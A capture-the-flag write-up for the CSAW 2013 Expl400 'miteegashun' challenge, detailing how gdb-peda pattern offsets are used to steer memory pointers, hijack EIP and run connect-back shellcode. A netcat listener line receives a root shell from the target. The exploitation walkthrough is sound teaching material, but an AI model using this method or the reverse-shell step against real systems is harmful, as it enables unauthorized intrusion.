CSAW 2013 Quals – Expl400 – miteegashun

For this challenge we’re told an application is running on a server and given a binary that outputs the following:

1
2
3
4
root@kawaii:~/expl400# echo "userinput" | ./miteegashun
Welcome to this demo of my exploit mitigation
This mitigation is unbeatable, prove me wrong
See? Flawless.

Checking for buffer overflow…

1
2
3
4
root@kawaii:~/expl400# perl -E "say 'A'x10000" | ./miteegashun
Welcome to this demo of my exploit mitigation
This mitigation is unbeatable, prove me wrong
Segmentation fault
For this challenge I wanted to learn gdb-peda. gdb-peda allows us to use the `pattern create` command to generate a set of input where every four bytes are unique. This property allows us to find the location(s) in our input buffer that cause a crash.
1
2
3
4
5
6
7
gdb-peda$ pattern create 2000 input
Writing pattern of 2000 chars to filename "input"
gdb-peda$ run < input
Welcome to this demo of my exploit mitigation
This mitigation is unbeatable, prove me wrong
Program received signal SIGSEGV, Segmentation fault.

On break/step, peda gives us detailed colored output of registers, the block of code, and the stack. We can see that it segfaults on mov ebp, DWORD PTR [ecx], and that peda says ECX: 0x41484441 ("ADHA"), or ECX contains part of our buffer at this line.

1
2
gdb-peda$ pattern offset ADHA
ADHA found at offset: 1924

We now know buff[1924] needs to be a pointer to valid memory, and it is loaded into EBP. We chose a random zeroed spot in the .data segment, found by scrolling through IDA. We’ll use this address, 0x80EE46C, wherever we need this kind of pointer. It’s simple to hex edit this address into our buffer and run it through gdb again. Here’s the abbreviated output:

1
2
3
4
5
6
7
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
ECX: 0x43416e43 ('CnAC')
[-------------------------------------code-------------------------------------]
=> 0x8049be7: mov eax,DWORD PTR [ecx+0x4]
gdb-peda$ pattern offset CnAC
CnAC found at offset: 1256

It crashed at a new spot! This is good, as we know our last buffer patch fixed the first crash. From this we can say that buff[1256] needs to be a pointer to writable memory minus 4. We stick 0x80EE468 into the buffer at this position, and run the program.

1
2
3
4
5
6
7
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
ECX: 0x42417541 ('AuAB')
EDX: 0x1114d9d9
[-------------------------------------code-------------------------------------]
0x8048f48: lea edx,[edx+ecx*4]
=> 0x8048f4b: mov eax,DWORD PTR [edx]

From the line above, we can see that ECX needs to be an index of an array pointed to be EDX. Some math tells us EDX is 0x1114d9d9 – (0×42417541 * 4), which is 0x80f04d5. We can use PEDA to inspect this pointer:

1
2
3
4
5
6
7
8
9
10
gdb-peda$ xinfo 0x80f04d5
0x80f04d5 ("wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsnAsSAsoAsTAspAsUAsqAsVAsrAsWAssAsXAstAsYAsuA"...)
Virtual memory mapping:
Start : 0x080ed000
End : 0x080f2000
Offset: 0x34d5
Perm : rwxp
Name : /root/expl400/miteegashun
gdb-peda$ pattern offset wA%x
wA%x found at offset: 405

So, we know EDX is controlled by buff[405], and ECX just modifies EDX. We want to find what ECX’s offset is, which should be the pattern “AuAB.” Using pattern offset, PEDA tells us this is not found. At this point I opened the binary in IDA and reversed how it loaded “AuAB” into ECX. There’s a pointer above where our current crash is, and the references to that pointer show that the value of the first character was incremented by one. Doing a pattern offset on “BuAB” tells us buff[809]-1 is the value loaded into ECX.

Let’s return to the equation we were looking at:[edx+ecx*4]. We can store 1 into ecx via buff[809] to zero out the right term, and we can set EDX to whatever we like via buff[405], for this example we’ll use our standard write address 0x80EE468. After this last update to the buffer file, gdb will tell us the program received SIGILL(illegal instruction) at 0x80EE470! This means our last update took over EIP(the instruction pointer) and caused it to execute the code at wherever buff[405] was telling it to.

1
2
3
4
gdb-peda$ pattern search
Pattern buffer found at:
0x080f0340 : offset 0 - size 188 (/root/expl400/miteegashun)
... and others ...

We now control EIP. The above command, “pattern search,” tells us where and how much of our input is stored in memory. Let’s tell EIP to go to that location, and we can replace the data at that location with shellcode(being careful not to overwrite any of our magic buffer positions). To do this, we set buff[405] to 0x80f0340. We modified this shellcode to connect back to our IP, and stuck it in the buffer at the beginning. On our host, we run netcat on the port specified in the shellcode listening for a connection. nc -l -p 45295 -vv

Running the program with our buffer one last time reveals that buff[256] is written to EBP, and causes it to segfault when a ret  tries to use the garbage value stored there. EBP is the base pointer to the stack frame, so let’s make it our standard accessible memory pointer. We set buff[256] to 0x80EE468 and run the program again. Looking back at our host, we see a connection!

1
2
3
4
5
root@throwaway:~/csaw/expl300$ nc -l -p 45295 -vv
listening on [any] 45295 ...
connect to [HOST] from CENSORED [CENSORED] 52784
whoami
root

All that’s left is to send this to the server they said is running the binary. We do a simple nc host -p port < inputbuffer, and we see a connection back on our host. Doing a cat on the file “key” gives us the flag.